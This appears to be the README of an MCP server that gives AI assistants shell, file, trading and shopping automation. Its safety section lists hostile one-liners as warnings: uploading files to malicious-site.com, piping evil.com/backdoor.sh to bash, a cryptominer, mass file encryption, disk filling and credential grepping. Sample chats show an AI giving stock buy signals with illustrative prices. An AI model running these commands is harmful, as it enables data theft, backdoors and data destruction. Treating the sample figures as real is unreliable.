A production-ready MCP (Model Context Protocol) server that provides shell command execution and system operations capabilities.

📚 View the complete documentation website for an enhanced reading experience with interactive examples and guides.

What is This? - Understand what this server does
⚠️ Important Disclaimer & Safety Warning - READ THIS FIRST
Real-World Use Cases - See practical scenarios including stock trading, web automation, and online shopping
How to Use with AI Assistants - Setup guides for Claude Desktop and other tools
Example Conversations - See it in action with real examples
Tips for Best Results - Get the most out of your AI assistant
Enabling Advanced Features - Setup stock market APIs, browser automation, and more
Installation for End Users - Quick setup guide
Available Tools - Tool reference
Security Considerations - Important security information
For Developers - Development and contribution guide

What is This?

This MCP server enables AI assistants (like Claude, ChatGPT, or other AI agents) to interact with your computer's operating system. Once connected, your AI assistant can:

Execute shell commands on your behalf
Read and write files
Monitor system resources and processes
Automate complex workflows
Track stock market prices and trading signals
Search and compare prices on Amazon and other online retailers
Open applications and control your browser
Schedule automated tasks and routines

Think of it as giving your AI assistant "hands" to help you with system administration, development tasks, data processing, financial monitoring, online shopping, and everyday automation—all while maintaining security controls.

From simple tasks like organizing files, to advanced automation like monitoring your stock portfolio and finding the best deals online, your AI assistant becomes a powerful personal automation engine.

⚠️ Important Disclaimer & Safety Warning

🛑 READ THIS BEFORE USING

THIS SOFTWARE PROVIDES SHELL COMMAND EXECUTION CAPABILITIES TO AI ASSISTANTS. USE AT YOUR OWN RISK.

Legal Disclaimer

THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

By using this MCP server, you acknowledge and accept full responsibility for:

All commands executed by your AI assistant
Any data loss, system damage, or security breaches that may occur
Financial losses from automated trading or purchasing decisions
Any unauthorized access or malicious use of your system
Compliance with all applicable laws and terms of service

⚠️ Critical Security Warnings

🔴 EXTREME DANGER: Unsandboxed Mode

Running this server WITHOUT sandbox mode gives your AI assistant UNRESTRICTED ACCESS to:

Your entire file system - Can read, modify, or delete ANY file
All system commands - Can execute ANY shell command with your user permissions
Network access - Can make external connections, download files, send data
Process control - Can start, stop, or kill any process
Financial systems - Can execute trades, make purchases, transfer money if credentials are accessible
Personal data - Can access emails, documents, browser history, passwords (if stored locally)

WITHOUT SANDBOX_MODE=true, YOUR AI ASSISTANT HAS THE SAME POWER AS YOU SITTING AT YOUR KEYBOARD.

🟡 Potential Dangers Even With Sandbox Mode

Data Loss:

AI might misunderstand requests and delete important files
Automated scripts could overwrite or corrupt data
Batch operations can cascade errors across many files

Financial Risk:

Automated trading scripts could execute unintended transactions
Price monitoring might act on bad data or API errors
Shopping automation could make unauthorized purchases
API rate limits could incur unexpected costs

System Instability:

Resource-intensive commands could crash your system
Process termination could kill critical services
Disk operations could fill storage or corrupt filesystems

Privacy Exposure:

AI might inadvertently read sensitive files
Logs could contain passwords or API keys
Executed commands might expose environment variables

Malicious AI Behavior:

If your AI assistant is compromised or has a jailbreak vulnerability
If prompts are injected with malicious instructions
If the AI model develops unexpected emergent behaviors
If the AI is manipulated through social engineering

🚨 How Your AI Agent Could Misuse This Server

Without Proper Safeguards:

Scenario 1: Data Exfiltration

# AI could be tricked into running:
curl -X POST https://malicious-site.com/upload \
  --data-binary @~/Documents/sensitive-data.pdf

Scenario 2: Cryptocurrency Mining

# AI starts background mining process:
nohup ./cryptominer --wallet=attacker-address &

Scenario 3: Backdoor Installation

# AI downloads and runs malicious script:
curl https://evil.com/backdoor.sh | bash

Scenario 4: Unauthorized Financial Transactions

# If trading credentials are accessible:
python execute_trade.py --symbol=LOSS --amount=ALL --action=SELL

Scenario 5: Ransomware-like Behavior

# AI encrypts files or moves them:
find ~/Documents -type f -exec gpg --encrypt {} \;

Scenario 6: System Sabotage

# Filling disk space:
dd if=/dev/zero of=~/bigfile.img bs=1G count=100

Scenario 7: Credential Harvesting

# Searching for sensitive data:
grep -r "password\|api_key\|secret" ~ > /tmp/credentials.txt

✅ How to Protect Yourself

Essential Safety Measures:

ALWAYS START WITH SANDBOX_MODE=true

# In your AI assistant config:
"SANDBOX_MODE": "true"

Run with Limited User Permissions
- Create a dedicated user account with restricted privileges
- Never run as root/administrator
- Use file system permissions to limit access
Use Network Isolation
- Run in a Docker container with no network access
- Use firewall rules to block outbound connections
- Monitor network traffic for suspicious activity
Review Commands Before Execution
- Always ask your AI to explain commands first
- Verify destructive operations manually
- Use --dry-run flags when available

Implement File System Restrictions

# Only allow access to specific directories
# Use chroot, Docker volumes, or similar isolation

Monitor and Audit
- Enable DEBUG mode to log all commands
- Regularly review logs for suspicious activity
- Set up alerts for unauthorized operations
Limit Financial/Trading Automation
- Never store trading credentials in plain text
- Use read-only API keys when possible
- Implement transaction limits and approval workflows
- Keep trading automation on isolated systems
Regular Backups
- Maintain recent backups of important data
- Test backup restoration regularly
- Store backups offline or in immutable storage

🔒 Recommended Security Configuration

For Testing/Learning:

{
  "SANDBOX_MODE": "true",
  "COMMAND_TIMEOUT": "10000",
  "DEBUG": "true"
}

For Personal Use (Low Risk Tasks):

{
  "SANDBOX_MODE": "true",
  "COMMAND_TIMEOUT": "30000",
  "DEBUG": "false"
}

For Production/Critical Systems:

DO NOT USE THIS SERVER ON PRODUCTION SYSTEMS WITHOUT:
- Comprehensive security review
- Penetration testing
- Access control implementation
- Audit logging
- Incident response plan

⚖️ Legal and Ethical Considerations

You are responsible for ensuring:

Compliance with computer fraud and abuse laws
Adherence to terms of service for external APIs and services
Respect for data privacy regulations (GDPR, CCPA, etc.)
Proper authorization before accessing or modifying systems
Ethical use of automation and AI capabilities

Trading and Financial Automation:

Automated trading may violate broker terms of service
You are liable for all trades executed, even if automated
Market manipulation is illegal in most jurisdictions
Seek professional financial advice before automated trading

Web Scraping and Automation:

Respect robots.txt and website terms of service
Don't overload servers with excessive requests
Obtain permission for commercial use of scraped data
Be aware of copyright and intellectual property rights

🎓 Education and Awareness

This server is intended for:

Legitimate automation and productivity enhancement
Learning about AI-assisted development and system administration
Personal projects and experimentation in controlled environments

This server is NOT intended for:

Unauthorized access to computer systems
Malicious activities or causing harm
Circumventing security measures
Violating laws, regulations, or terms of service

📞 Incident Response

If you suspect your AI assistant has been compromised or is acting maliciously:

Immediately disconnect - Kill the MCP server process
Disconnect from network - Unplug ethernet or disable WiFi
Review logs - Check what commands were executed
Scan for malware - Run antivirus and security scans
Change credentials - Update passwords and API keys
Report if necessary - Contact relevant parties if data breach occurred

Final Warning

Using this MCP server means trusting your AI assistant with significant system access. While AI assistants are generally helpful and follow instructions, they:

Can make mistakes in understanding commands
May be vulnerable to prompt injection attacks
Could have bugs or unexpected behaviors
Might misinterpret context or intent
Cannot be held accountable for their actions

YOU are ultimately responsible for everything that happens on your system.

When in doubt, use SANDBOX_MODE=true and manually review commands before execution.

Real-World Use Cases

For Developers

Scenario 1: Automated Project Setup

"Set up a new React project with TypeScript, install dependencies, initialize Git, and create a basic file structure."

Your AI assistant can execute all these commands, create necessary configuration files, and verify the setup—saving you 15-20 minutes of repetitive work.

Scenario 2: Code Analysis & Refactoring

"Find all TODO comments in my project, categorize them by priority, and create a markdown report."

The AI can search your codebase, analyze patterns, and generate comprehensive reports.

Scenario 3: Development Environment Debugging

"Check why my Docker container isn't starting. Look at the logs, verify port availability, and check system resources."

Your AI assistant can investigate issues by running diagnostic commands and interpreting results.

For System Administrators

Scenario 4: System Health Monitoring

"Give me a comprehensive health check: CPU usage, memory stats, disk space, and any processes using excessive resources."

Get instant, interpreted system diagnostics without manually running multiple commands.

Scenario 5: Log Analysis

"Check the last 100 lines of the system log for errors, summarize the issues, and suggest solutions."

AI can not only retrieve logs but also analyze patterns and provide actionable insights.

Scenario 6: Automated Maintenance

"Clean up old Docker images, remove unused npm packages globally, and clear system cache files older than 30 days."

Execute complex cleanup routines with a single natural language request.

For Data Scientists & Analysts

Scenario 7: Data Pipeline Automation

"Download the CSV from this URL, convert it to JSON, remove duplicates, and save it with today's date."

Chain multiple data processing commands with AI understanding the context.

Scenario 8: Batch File Processing

"Find all .csv files in the data folder, get their row counts, and create a summary report."

Automate repetitive data exploration tasks.

For DevOps Engineers

Scenario 9: Deployment Verification

"Check if the application is running on port 8080, verify the database connection, and test the health endpoint."

Automated post-deployment validation with intelligent interpretation.

Scenario 10: Resource Optimization

"Find processes consuming more than 500MB of RAM, identify what they are, and suggest if any can be safely terminated."

Proactive resource management with AI-guided decision making.

For Traders & Finance Enthusiasts

Scenario 11: Stock Market Monitoring

"Check the current price of Apple, Microsoft, and Tesla stocks. Alert me if any drop below their 50-day moving average."

Your AI can execute Python/Node.js scripts or use curl to fetch real-time stock data from APIs (Alpha Vantage, Yahoo Finance, etc.), analyze trends, and monitor your portfolio automatically.

Scenario 12: Automated Trading Signals

"Every morning at 9:30 AM, analyze the top 10 tech stocks, check their pre-market movement, and create a trading signals report with buy/sell recommendations based on technical indicators."

Set up cron jobs or scheduled scripts that your AI runs to fetch market data, perform technical analysis (RSI, MACD, Bollinger Bands), and generate actionable insights—all automated through shell commands.

Scenario 13: Portfolio Tracking

"I bought 10 shares of NVDA at $875. Track its performance, calculate my current profit/loss, and notify me if it gains or loses more than 5%."

Your AI can maintain a portfolio tracker script, update it with real-time data, and send you intelligent summaries of your investments.

For Daily Automation & Productivity

Scenario 14: Smart Browser Automation

"Open Chrome, navigate to my company's dashboard, take a screenshot of the analytics page, and save it to my reports folder."

Using commands like open (macOS), start (Windows), or xdg-open (Linux), plus tools like Puppeteer or Selenium scripts, your AI can automate browser tasks, scrape data, and capture information.

Scenario 15: Application Management

"Launch Spotify, play my 'Focus' playlist, then open VS Code with my current project, and start the MongoDB server."

Your AI can orchestrate your entire work environment by launching applications, executing AppleScripts (macOS), PowerShell scripts (Windows), or shell commands to create your perfect workspace setup with one request.

Scenario 16: Web Search & Research

"Search for the latest information about 'quantum computing breakthroughs 2026' from multiple sources, summarize the findings, and save them to a markdown file."

Using curl, wget, or Python scripts with BeautifulSoup, your AI can search the web, aggregate information from multiple sources, and compile research reports automatically.

Scenario 17: Amazon Shopping Assistant

"Search Amazon for the best-rated wireless headphones under $200, compare the top 5 options by price and reviews, and create a comparison table."

Your AI can run scripts that use Amazon's Product Advertising API or web scraping to:

Search for products based on your criteria
Compare prices across different sellers
Track price history and alert you to deals
Analyze customer reviews and ratings
Even automate purchases through Amazon CLI tools or scripts (with your explicit approval)

Scenario 18: Online Price Monitoring

"Monitor the price of the 'Sony A7 IV camera' across Amazon, B&H, and Adorama. Check every 6 hours and alert me when it drops below $2,300."

Set up automated price tracking scripts that your AI manages, running scheduled checks and notifying you of price drops or lightning deals.

Scenario 19: Smart Shopping Lists

"I need to buy ingredients for lasagna. Search for the best prices on Amazon Fresh and local grocery delivery services, then generate a shopping list with the cheapest options."

Your AI can aggregate data from multiple sources, compare prices, and optimize your shopping to save money—all automated through API calls and web searches.

Scenario 20: Multi-Platform Search & Purchase

"I need a standing desk. Search Amazon, IKEA, and Wayfair for options between $300-$500, filter by ratings above 4.5 stars, and create a comparison spreadsheet."

Your AI orchestrates searches across multiple platforms, normalizes the data, applies your criteria, and presents organized results—saving hours of manual research.

Real-World Automation Examples

Complete Morning Routine:

"Good morning! Check my stock portfolio, show me any significant overnight movements, open my browser to Gmail and calendar, start my development environment, and give me a weather forecast."

End-of-Day Workflow:

"Close all my work apps, back up today's code changes, check if any of my watched Amazon items have price drops, summarize my system's resource usage today, and shut down unnecessary services."

Shopping Automation:

"I need to buy: noise-canceling headphones, a mechanical keyboard, and a laptop stand. For each, find the top 3 options on Amazon under $150, $100, and $50 respectively. Compare them and tell me which combination gives the best value."

How to Use with AI Assistants

Claude Desktop

There are two ways to configure shell-mcp with Claude Desktop:

Option 1: Local Installation (Recommended for Development)

Install the server:

git clone https://github.com/luciVuc/shell-mcp.git
cd shell-mcp
npm install
npm run build

Configure Claude Desktop:

Edit your Claude Desktop config file:

macOS/Linux: ~/Library/Application Support/Claude/claude_desktop_config.json
Windows: %APPDATA%\Claude\claude_desktop_config.json

Add this configuration:

{
  "mcpServers": {
    "shell": {
      "command": "node",
      "args": ["/absolute/path/to/shell-mcp/dist/main.js"],
      "env": {
        "SANDBOX_MODE": "false",
        "COMMAND_TIMEOUT": "30000"
      }
    }
  }
}

Restart Claude Desktop

Option 2: Using npx (No Installation Required)

If you prefer not to clone and build the project locally, you can run shell-mcp directly from npm using npx:

Configuration without installing:

Edit your Claude Desktop config file as above, and add:

{
  "mcpServers": {
    "shell": {
      "command": "npx",
      "args": ["@lucid-spark/shell-mcp"],
      "env": {
        "SANDBOX_MODE": "false",
        "COMMAND_TIMEOUT": "30000"
      }
    }
  }
}

For production use (with sandbox enabled):

{
  "mcpServers": {
    "shell": {
      "command": "npx",
      "args": ["@lucid-spark/shell-mcp"],
      "env": {
        "SANDBOX_MODE": "true",
        "COMMAND_TIMEOUT": "30000"
      }
    }
  }
}

Note: The first time you run this, npx will download and cache the package. Subsequent runs will use the cached version for faster startup.

Getting Started

After configuring either option:

Restart Claude Desktop
Start using it:

"Can you check my system's CPU and memory usage?" "Create a backup script that archives my projects folder." "Find all JavaScript files modified in the last week."

See CLAUDE_SETUP.md for detailed configuration options and environment variables.

Other MCP-Compatible AI Tools

Any AI assistant that supports the Model Context Protocol can use this server:

Example: Custom AI Agent (Python)

from mcp import ClientSession, StdioServerParameters
from mcp.client.stdio import stdio_client

# Connect to the MCP server
server_params = StdioServerParameters(
    command="node",
    args=["/path/to/shell-mcp/dist/main.js"],
    env={"SANDBOX_MODE": "true"}
)

async with stdio_client(server_params) as (read, write):
    async with ClientSession(read, write) as session:
        # Initialize connection
        await session.initialize()

        # List available tools
        tools = await session.list_tools()

        # Execute a command
        result = await session.call_tool("exec", {
            "command": "df -h"
        })
        print(result)

Example: Node.js AI Agent

import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";

// Create MCP client
const transport = new StdioClientTransport({
  command: "node",
  args: ["/path/to/shell-mcp/dist/main.js"],
  env: { SANDBOX_MODE: "true" },
});

const client = new Client(
  {
    name: "my-ai-agent",
    version: "1.0.0",
  },
  { capabilities: {} }
);

await client.connect(transport);

// Get system info
const result = await client.callTool({
  name: "getSystemInfo",
  arguments: {},
});

console.log(result);

What Your AI Agent Can Do

Once connected, your AI assistant can help with:

System Operations:

Monitor CPU, memory, and disk usage
Check running processes and resource consumption
Verify system uptime and health
Analyze system logs

File Management:

Create, read, update, and delete files
Search for files by name or content
Batch rename or organize files
Generate reports from file data

Development Tasks:

Run build scripts and tests
Install dependencies
Search codebases
Execute git commands
Deploy applications

Data Processing:

Download and process files
Convert between formats
Extract and transform data
Generate reports and summaries

Automation:

Schedule and run maintenance tasks
Execute complex multi-step workflows
Perform system backups
Clean up temporary files

Debugging & Diagnostics:

Check application logs
Verify network connectivity
Test API endpoints
Investigate errors

Example Conversations

Here are real examples of how you might interact with your AI assistant once this MCP server is connected:

Example 1: System Health Check

You: "Can you check my system's health and let me know if anything needs attention?"

AI Assistant: Uses getSystemInfo tool, then exec to check disk space and running processes

"Your system looks healthy overall:

CPU: 8 cores, currently at 23% usage
Memory: 16GB total, 8.2GB free (51% available)
Disk: 500GB total, 127GB free (25% - you might want to clean up soon)
Uptime: 5 days, 3 hours

I noticed your Docker Desktop is using 3.2GB of RAM. Would you like me to check if there are any unused containers we can remove?"

Example 2: Project Analysis

You: "I have a Node.js project in ~/projects/my-app. Can you analyze it and tell me about its structure and any potential issues?"

AI Assistant: Uses listDir and readFile tools

"I've analyzed your project. Here's what I found:

47 JavaScript files, 12 JSON config files
Dependencies: 23 production, 15 dev dependencies
Last modified: package.json (2 hours ago)
Potential issues:
- Found 8 TODO comments in the code
- 3 packages have known vulnerabilities (need npm audit fix)
- No .env.example file (should add one for team members)

Would you like me to create a detailed report or help fix any of these issues?"

Example 3: Data Processing

You: "I have CSV files in ~/data/sales/ from this month. Can you combine them, remove duplicates, and create a summary?"

AI Assistant: Uses listDir, readFile, exec, and writeFile tools

"Done! I've processed your sales data:

Found 4 CSV files (sales_week1.csv through sales_week4.csv)
Combined: 1,247 total records
Removed: 38 duplicates
Final dataset: 1,209 unique sales records
Created: ~/data/sales/february_2026_summary.csv

Summary statistics:

Total revenue: $47,382
Average sale: $39.12
Top product: Widget Pro (237 sales)

The combined file is ready at ~/data/sales/february_2026_summary.csv"

Example 4: Development Workflow

You: "Set up a new React project called 'dashboard' with TypeScript, install Tailwind CSS, and create a basic component structure."

AI Assistant: Uses exec and writeFile tools

"Project setup complete! Here's what I did:

Created React + TypeScript project: ✓
Installed Tailwind CSS and configured it: ✓
Created component structure:
- src/components/Header.tsx
- src/components/Sidebar.tsx
- src/components/Dashboard.tsx
- src/pages/Home.tsx
Initialized Git repository: ✓
Created .gitignore: ✓

Next steps you might want:

Run 'npm run dev' to start the development server
Configure authentication
Add routing with React Router

Would you like me to add anything else?"

Example 5: Troubleshooting

You: "My web server won't start. It's supposed to run on port 3000. Can you help me figure out why?"

AI Assistant: Uses exec and listProcesses tools

"I found the issue! Port 3000 is already in use:

Process using port 3000:

PID: 8472
Command: node old-server.js
Started: 3 days ago

This appears to be an old server that's still running. Options:

Kill this process (I can do this for you)
Change your new server to use a different port (like 3001)
Check if you still need the old server running

What would you like to do?"

Example 6: Stock Market Monitoring & Trading Signals

You: "I'm interested in tech stocks. Can you check the current prices for Apple, Microsoft, Google, and NVIDIA, and let me know if any look like good buying opportunities based on their recent performance?"

AI Assistant: Uses exec tool to run a Python script that fetches stock data via APIs

"I've analyzed the current market data for your tech stocks:

AAPL (Apple Inc.) - $178.45 (+2.3% today)

Recent trend: Strong upward momentum
50-day MA: $172.30 (currently above - bullish signal)
RSI: 58 (neutral, room to grow)
Signal: ✅ MODERATE BUY
Note: Breaking through resistance at $177

MSFT (Microsoft) - $412.80 (-0.8% today)

Recent trend: Slight pullback from highs
50-day MA: $408.50 (currently above)
RSI: 52 (neutral)
Signal: ⏸️ HOLD/WATCH
Note: Minor consolidation, possible buying opportunity on dip

GOOGL (Alphabet) - $145.20 (+1.1% today)

Recent trend: Steady upward climb
50-day MA: $141.80 (above - bullish)
RSI: 62 (approaching overbought)
Signal: ⚠️ WATCH
Note: Strong but getting pricey short-term

NVDA (NVIDIA) - $892.30 (+4.7% today)

Recent trend: Very strong momentum
50-day MA: $825.40 (well above)
RSI: 71 (slightly overbought)
Signal: ⚠️ OVEREXTENDED
Note: Amazing run but may need consolidation

Best Opportunity: MSFT looks like the best entry point if it dips to $405-408 range. AAPL is also showing good momentum with room to grow.

Would you like me to:

Set up automated monitoring to alert you when MSFT hits $405?
Create a detailed technical analysis report?
Track these stocks and notify you of significant changes?"

Example 7: Smart Amazon Shopping Assistant

You: "I need to buy a good pair of wireless noise-canceling headphones for under $300. Can you help me find the best options on Amazon?"

AI Assistant: Uses exec tool to run a web scraping script or Amazon API integration

"I've searched Amazon for wireless noise-canceling headphones under $300. Here are the top 5 options:

1. Sony WH-1000XM5 - $279.99 ⭐⭐⭐⭐⭐

Rating: 4.7/5 (18,432 reviews)
Features: Industry-leading ANC, 30hr battery, multipoint connection
Price history: Currently $20 below average price
✅ BEST OVERALL - Premium quality at your budget limit

2. Bose QuietComfort 45 - $249.00 ⭐⭐⭐⭐⭐

Rating: 4.6/5 (12,891 reviews)
Features: Excellent ANC, 24hr battery, comfortable for long wear
Price history: All-time low price!
💰 BEST VALUE - Great price drop right now

3. Apple AirPods Max - $449.00 ❌ (Over budget)

Rating: 4.8/5 (8,234 reviews)
Too expensive, but I'm mentioning because there's a 20% off deal alert

4. Sennheiser Momentum 4 - $289.99 ⭐⭐⭐⭐⭐

Rating: 4.5/5 (6,721 reviews)
Features: 60hr battery!, excellent sound quality, good ANC
🔋 BEST BATTERY LIFE

5. Anker Soundcore Space Q45 - $129.99 ⭐⭐⭐⭐

Rating: 4.4/5 (9,156 reviews)
Features: 50hr battery, good ANC for price, adaptive
💵 BUDGET CHAMPION - Best bang for buck

My Recommendation: If you want the absolute best: Sony WH-1000XM5 (best noise canceling) If you want the best deal: Bose QC45 (amazing price right now at $249!)

Additional insights:

Bose QC45 is currently at lowest price in 90 days - great time to buy!
Sony WH-1000XM5 rarely goes on sale, $280 is very fair
All options have free Prime shipping